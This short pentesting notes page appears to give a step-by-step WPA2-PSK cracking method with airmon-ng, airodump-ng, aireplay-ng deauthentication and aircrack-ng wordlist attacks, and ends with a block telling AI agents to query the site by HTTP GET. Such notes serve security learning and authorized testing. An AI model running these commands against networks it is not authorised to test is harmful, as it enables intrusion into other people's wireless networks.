# wifi

This method can be use to crack **WPA2-PSK** that utilizes a **pre-shared-key for authentication**.

## Methodology

### Step1: start adapter on monitor mode

1. Adapter check: `iwconfig`
   1. Kill active process: `airmon-ng check kill`
2. Start adapter on monitor mode: `airmon-ng start wlan0`
3. Start basic scan: `airodump-ng INTERFACE`
   1. Note down BSSID, CHANNEL, ESSID

## Step2: start attack

1. start focussed scan: `airodump-ng INTERFACE -c CHANNEL --bssid BSSID [-w FILE]`
2. Should see traffic being recorded. Our aim is to capture a connection.
3. Send DeAuth: `aireplay-ng INTERFACE -0 1 [-c STATION-TO-DEAUTH]`
   1. `-0 1` means to deauth once.
4. Capture the connection

## Step3: Cracking

1. `aircrack-ng FILE -b BSSID -w WORDLIST`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kashz.gitbook.io/kashz-jewels/tricks/wifi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
